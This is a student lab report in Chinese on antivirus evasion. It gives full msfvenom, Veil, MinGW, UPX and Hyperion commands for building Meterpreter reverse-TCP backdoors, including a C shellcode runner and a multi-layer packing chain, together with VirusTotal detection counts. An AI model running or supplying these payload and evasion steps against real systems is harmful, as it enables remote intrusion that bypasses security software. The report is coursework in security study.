免杀原理与实践
1. 实验内容
1.1实验内容概括
- 用msf编码器,生成exe、jar、php文件及它们的编码版本。
- 下载veil工具,使用它来生成后门文件,对后门文件进行编程
- 对生成好的后门文件进行upx压缩壳和hyperion加密壳
- 对后门文件进行组合技术使其免杀
1. 2实验问题回答
(1)杀软是如何检测出恶意代码的?
杀毒软件主要通过特征码检测、行为分析、启发式扫描三大核心技术识别恶意代码,同时结合云安全等辅助手段提升检测效率。
- 特征码检测:类似于比对指纹。将文件与病毒库中的代码段进行比较
- 行为分析:类似于监控可疑的动作来识别病毒。该技术不依赖病毒库,而是通过监控程序运行后的行为来判断是否恶意
- 启发式扫描:类似于举一反三。模拟人工分析,主动判断文件是否存在恶意倾向
(2)免杀是做什么
杀毒软件通过特征码、行为分析、启发式扫描等技术识别恶意代码,而免杀技术就是针对性地破坏或绕过这些检测逻辑
(3)免杀的基本方法有哪些? - 静态免杀:比如本次实验中对恶意代码进行混淆与变形,进行加壳
- 动态免杀:针对杀毒软件对程序运行时行为的监控,通过隐藏或伪装恶意行为,避免触发检测规则
2.实验过程
- 免杀评价的平台 virustotal > https://www.virustotal.com/gui/home/upload
(VirusTotal 是一个全球知名的免费在线安全检测平台,核心定位是通过多引擎协作与综合分析,帮助用户识别文件、URL、IP 地址及域名中的恶意软件、钓鱼威胁等安全风险,适用于个人用户、安全研究人员及企业安全团队)
2.1用msf编码器,生成exe、jar、php文件及它们的编码版本
使用msf编码器生成单次编码的exe文件,指令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.131 PORT=3581 -f exe > met20232328.exe
其中
-p:指定使用的 payload 类型
windows:目标系统为 Windows
meterpreter:交互式后门
reverse_tcp:反向 TCP 连接模式

将它放到 virustotal平台上进行检测,结果如下:


- virustotal平台找到50个危险项
使用msf编码器生成多次编码的exe文件,指令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.211.131 LPORT=3581 -f exe >met-encoded20232328.exe
其中:
-e 指定编码器,用于对 payload 进行混淆编码,降低被杀毒软件检测的概率
x86/shikata_ga_nai 是 Metasploit 中常用的编码器,基于 XOR 加密和多态技术,能生成不同形式的编码结果
-b '\x00'避免出现ASCII 中的空字符

将它放到 virustotal平台上进行检测,结果如下:


- virustotal平台找到38个危险项,结果说明编码对exe文件具有一定的免杀效果
再用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.211.131 LPORT=3581 -f exe > met-10encoded20232328.exe进行10次编码。
其中:
-i 10表示编码10次。

将它放到 virustotal平台上进行检测,结果如下:


- 结果说明这种文件生成和编码的模板的特征码已经基本都在库中了
利用msf编码器生成Jar文件,代码如下:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.211.131 LPORT=3581 x>metjar20232328.jar

将它放到 virustotal平台上进行检测,结果如下:


- 最终virustotal平台找到34个危险项
利用msf编码器生成多次编码的Jar文件,代码如下:
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.211.131 LPORT=3581 x>met-encoded-jar20232328.jar

将它放到 virustotal平台上进行检测,结果如下:


- 最终virustotal平台找到34个危险项,与单次编码的jar文件风险相同,这说明多次编码对jar文件的免杀效果一般
利用msf编码器生成php文件,代码如下:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.211.131 LPORT=3581 x> metphp_20232328.php


将它放到 virustotal平台上进行检测,结果如下:

- 最终virustotal评价平台找到25个危险项
利用msf编码器生成10次编码的php文件,代码如下:
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.211.131 LPORT=3581 x> met_encoded10_php_20232328.php

将它放到 virustotal平台上进行检测,结果如下:

- virustotal平台找到9个危险项,与单次编码比较,多级编码被发现的危险项大幅度减少,这说明多级编码对php文件的免杀效果较好
2.2使用veil生成后门文件
先使用指令sudo apt -y install veil,用apt下载veil

再使用指令/usr/share/veil/config/setup.sh --force --silent,用veil自带的shell脚本配置好环境


输入use 1进入Evasion模块

输入list查看所有可用的载荷种类

输入use 7启动c/meterpreter/rev_tcp.py,然后输入以下代码:
set LHOST 192.168.211.131反弹链接虚拟机的ipset LPORT 3581设置端口generate开始生成
根据提示生成的具体内容找到生成后文件所在的位置,如下:

将它放到 virustotal平台上进行检测,结果如下:


- 最终virustotal平台找到38个危险项,说明效果一般
2.3通过C+shellcode实现后门文件免杀
使用代码msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.131 LPORT=3581 -f c生成一个C语言的源代码格式的有效载荷

然后通过vim创建一个c文件,将上述的有效载荷复制,并编写一个主函数

然后利用指令i686-w64-mingw32-g++ 20232328mzy.c -o shellcode_c_20232328.exe进行编译,得到exe文件

将它放到 virustotal平台上进行检测,结果如下:


- 最终virustotal平台找到33个危险项,说明效果也一般
2.4对后门文件进行加壳操作
2.4.1使用压缩壳UPX
使用指令upx shellcode_c_20232328.exe -o shellcode_c_upx_20232328.exe给2.3生成的文件添加一层压缩壳

将它放到 virustotal平台上进行检测,结果如下:

- 最终virustotal平台找到38个危险项,结果与原先相比上升,说明这个壳被广泛运用
2.4.2使用加密壳Hyperion
使用命令cp shellcode_c_20232328.exe /usr/share/windows-resources/hyperion/将已经被upx压缩的恶意文件复制到Hyperion工具所在的工作目录中
使用cd /usr/share/windows-resources/hyperion进入工作目录
使用wine hyperion.exe -v shellcode_c_20232328.exe shellcode_c_hyp_20232328.ex加密文件

使用ls查看加密文件已经生成


将它放到 virustotal平台上进行检测,结果如下:

- 结果virustotal平台找到52个危险项,说明说明这个壳的特征值已经被广泛的记录
2.5通过组合应用各种技术实现免杀
首先使用msfvenom工具来生成一个攻击载荷,代码如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.211.131 LPORT=3581 -f c > 20232328_shellcode.c该攻击载荷被x86/shikata_ga_nai编码了10次

然后使用vim,在在生成的文件中加入main函数如下:
int main(){ int (*func)() = (int(*)())buf; func(); }

使用MinGW-w64编译该源文件
i686-w64-mingw32-g++ 20232328_shellcode.c -o 20232328_shellcode.exe
使用upx加一层压缩壳
upx 20232328_shellcode.exe -o 20232328_shellcode_upx.exe

使用hyperion加一层加密壳
wine hyperion.exe -v 20232328_shellcode_upx.exe 20232328_shellcode_upx_hyp.exe

在虚拟机中找到对应文件夹内的文件


将最终生成的可执行文件放入主机,用联想电脑管家进行扫描,

结果显示并未发现风险

2.6使用被免杀的后门程序连接到windows
在kali虚拟机中输入msfconsole打开msf的控制台,输入下面的代码:
use exploit/multi/handler启动handler监听处理器set payload windows/meterpreter/reverse_tcp设置路径set LHOST 192.168.211.131设置虚拟机ipset LPORT 3581设置端口
然后会出现连接不上的情况

打开电脑自带的系统与安全,发现系统自己监测到了后门程序,使其无法运行

3.问题及解决方案
问题一:kaili内存不够,需要进行内存的扩展

问题一解决办法:参考下面这一篇知乎kali内存扩展
进行如下的操作:

进行容量扩充

打开图形化工具Gparted

分配空间

4.学习感悟
通过这次的实验,我学会了怎么使用msf编码器,生成exe、jar、php文件及它们的编码版本,能够使用veil工具生成后门文件,也接触到了一个免杀评价的平台 virustotal,学会了怎么使用 virustotal进行病毒的检测。
还有就是旧时代的后门文件已经落伍了,现在的电脑免杀非常的先进,简单的后门文件是根本不可能在电脑上正常运行,就算你关闭了所有的防火墙,系统还是会提醒你这个文件是有风险的